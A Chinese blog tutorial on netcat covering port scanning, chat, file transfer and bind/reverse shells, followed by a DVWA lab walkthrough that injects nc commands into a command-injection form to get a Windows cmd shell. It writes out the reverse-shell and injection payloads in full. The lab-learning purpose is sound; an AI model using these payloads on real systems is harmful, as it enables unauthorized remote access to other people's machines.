nc(netcat)扫描开放端口
一、netcat基本使用
1.1 使用netcat探测端口是否开放
探测单个端口是否开放可以用telnet,专业探测端口可以用Nmap,而对于非渗透用途的Linux可以直接用netcat。
nc -z -v 192.168.220.128 - #z代表不交互要不然遇到交互的端口nc会阻塞,v代表打印端口情况不然扫了也没办理出,下来是IP和要扫描的端口
1.2 使用netcat实现局域网聊天
一端先启好监听:
nc -l
另一端端进行连接:
nc 192.168.220.128
连接之后的任一边的输入在另一边都可看到
1.3 使用netcat实现文件传输
和局域网聊天是原理一样的,不过把输入输出重定向到文件
接收入端先启好监听:
nc -l > recv.txt
发送端进行发送:
nc 192.168.220.128 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
1.4 正向连接
控制机器主动连接受控端称为正向连接(2和3其实就和正向连接一样的,只是没执行shell而已)
受控端先启好监听:
nc -l -p -e /bin/bash
控制端主动连接:
nc 192.168.220.129
1.5 反向连接
反之控制端启好监听等受控端连接称为反向连接
控制端启好监听:
nc -lv
受控端主动连接:
nc 192.168.220.128 -e /bin/bash
说明:
centos版本的nc没有-e选项,启监听时也不(能)用-p;而kali版本有-e选项且启监听必须用-p指定端口(不用-p会用随机端口)
二、使用nc获取shell示例
(本节为2019-07-29更新,本打算新写一篇,但一想感觉关联紧密还是在此文后附加更好)
去面试总被问到你有处理过什么比较难的问题吗、你有发现过什么比较严重的漏洞吗、你有攻击网站获取shell的经历吗之类的问题,每次总要答:我们做自己产品的渗透只要证明问题存在就可以了不需要你花很大的时间精力去研究这个漏洞能怎么最大化地利用,如果你研究着把系统搞挂了那更加不好。
但事实好像真的是,但渗透以来似乎就没有自主getshell的经历这委实有点说不过去。昨天和朋友学习被问反弹shell的问题,我说可以下次带电脑用dvwa来演示;回答时自信满满,但其实没真正实践过,今天就先来研究一下然后同时做个备忘。
2.1 环境搭建
DVWA所在主机:Windows 7、phpStudy、dvwa、Windows版nc(我这里安装在“D:\tools\netcat”)、ip地址10.10.6.91
搭配主机:Ubuntu 16.04(其实是什么系统都无所谓,因为作为控制端只需要其上的nc这一个命令)、ip地址10.10.6.92
前置操作:登录dvwa后切换至"DVWA Security"选项卡将安全级别设置为“Low”,然后切换至“Command injection”选项卡。
前置说明:可以使用nc的-d选项和windows的“start /b”两种方式实现nc的后台运行;
即便不使用后台运行,只要tcp连接建立那就算你关闭“Command injection”页面,该nc连接还是可用的;即后不后台运行,对于反弹shell没有什么影响,对于普通的正向shell那就只有已建立的连接可用,页面闭后端口就不会再监听。
2.2 普通正向shell获取操作
如下图所示,在文本框中输入以下命令:
10.10.6.94 & start /b D:\tools\netcat\nc.exe -l -p -e c:\windows\system32\cmd.exe

点击提交后,在windows机器查看端口监听如下,端口2222被成功监听:

在搭配机器上连接监听地址如下,可以看到可成功连接,且可正常使用指定的“c:\windows\system32\cmd.exe”:

2.3 反弹shell获取操作
重置环境:windows上使用如“taskkill /f /pid 46420”形式杀除nc进程,搭配机上直接使用“Ctrl+C”中断nc连接。
先在搭配置上使用如下命令开启监听:
nc -l
效果如下:

然后如下图所示,在文本框中输入以下命令:
10.10.6.94&D:\tools\netcat\nc.exe 10.10.6.92 -e c:\windows\system32\cmd.exe

点击提交后,在windows机器查看端口情况如下,可以看到已主动与搭配置的2222端口建立起一个连接:

再回到搭配机上可以看到,已自动切换至cmd窗口界面,尝试输入命令也可成功执行:

参考:
http://www.cnblogs.com/hyq20135317/p/5491298.html
http://www.2cto.com/article/201311/258748.html
http://blog.sina.com.cn/s/blog_71ce334a01015b1o.html
http://blog.csdn.net/yabingshi_tech/article/details/51821265
nc(netcat)扫描开放端口的更多相关文章
- nmap扫描开放端口
nmap 192.168.1.1 -p1-65535 指定端口范围使用-p参数,如果不指定要扫描的端口,Nmap默认扫描从1到1024再加上nmap-services列出的端口 nmap-servi ...
- 使用nmap命令扫描开放端口
1.安装nmap 1.下载nmap安装包 下载地址:http://www.nmap.com.cn/ 根据自己需求下载,各种版本都有,我下载的是windows版本,安装版的. 2.安装 基本都是无脑安装 ...
- nc(NetCat)命令
瑞士军刀netcat官网:http://netcat.sourceforge.net/ 安装:yum install -y nc查询:rpm -q nc 语法:nc [-hlnruz][-g<网 ...
- nc/netcat命令
nc/netcat命令 语法 nc/netcat(选项)(参数) 选项 -g<网关>:设置路由器跃程通信网关,最多设置8个: -G<指向器数目>:设置来源路由指向器,其数值为4 ...
- 12. nc/netcat 用法举例
nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...
- socket mac终端调试工具 nc netcat
今天想学点socket ,因此搜索socket 工具,找到了netCat工具.可以打开两个终端window ,实现终端之间的socket的收发信息,为以后学习socket调试做准备用吧.两个终端分别打 ...
- Hacker(14)----扫描目标计算机端口
端口是目前计算机与外界的通道,因而黑客一旦锁定目标计算机,便会扫描该计算机中已经开放的端口,从而得到更多的有用信息.扫描目标计算机端口一般使用SuperScan.X-Scan等. 一.端口扫描原理 扫 ...
- centos7开放端口和防火墙设置
centos7开放端口和防火墙设置. 查看防火墙状态: firewall-cmd --state 如果显示: not running 打开防火墙服务: systemctl start firewall ...
- Linux中检查本地系统上的开放端口列表的方法
在 Linux 中很少有用于此目的的实用程序.然而,我提供了四个最重要的 Linux 命令来检查这一点. 你可以使用以下四个命令来完成这个工作.这些命令是非常出名的并被 Linux 管理员广泛使用.n ...
随机推荐
- JTopo使用心得
因为工作关系,最近用到了拓扑图,找了一溜工具后,发现了这个--JTopo,纯国产而且免费 当然了如果你英文水平足够好的话.也可以看看这些英文的做拓扑图的工具,以下网站出自知乎回答:开源HTML5 绘图 ...
- cp命令覆盖文件时不用按Y来确认的方法
我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖.文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结 ...
- 鼠标经过事件(onmouseover)
<!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content ...
- Django中ORM简介与单表数据操作
一. ORM简介 概念:.ORM框架是用于实现面向对象编程语言种不同类型系统的数据之间的转换 构建模型的步骤:重点 (1).配置目标数据库信息,在seting.py中设置数据库信息 DATABASE ...
- CentOS6.5下搭建ftp服务器(三种认证模式:匿名用户、本地用户、虚拟用户)
CentOS 6.5下搭建ftp服务器 vsftpd(very secure ftp daemon,非常安全的FTP守护进程)是一款运行在Linux操作系统上的FTP服务程序,不仅完全开源而且免费,此 ...
- CoordinatorLayout实现的效果(标题栏效果)
一.效果 CoordinatorLayouy是一个能够协调子布局的容器布局. 使用引入: compile 'com.android.support:design:24.1.1' 常见的使用方法如下:1 ...
- JDBC的通用查询的方法
PreparedStatement 1.Why 1):使用Statement需要进行拼写SQL语句,很辛苦,而且容易出错. 2):使用Statement可以发生SQL注入. SQl注入: SQL注入是 ...
- 学习笔记36—坚果云 | Papership或Zotero使用webDAV验证服务器不成功怎么办?
很多人都喜欢用坚果云作为Zotero的第三方云盘,从而无限扩展Zotero的存储空间.可是大家在Papership或zotero客户端中验证坚果云webDAV服务器时,会出现验证不成功的问题,相信这个 ...
- ubuntu 安装cuda 9.1 pytorch 0.3.0
毕业再没用配过机器学习的环境了,既亲切又陌生,久违了. 系统 mint18 x64 1安装cuda 按官网提示 选的9.1版 https://developer.nvidia.com/cuda-t ...
- Asp.net core 学习笔记 ( identity server 4 JWT Part )
更新 : id4 使用这个 DbContext 哦 dotnet ef migrations add identity-server-init --context PersistedGrantDbCo ...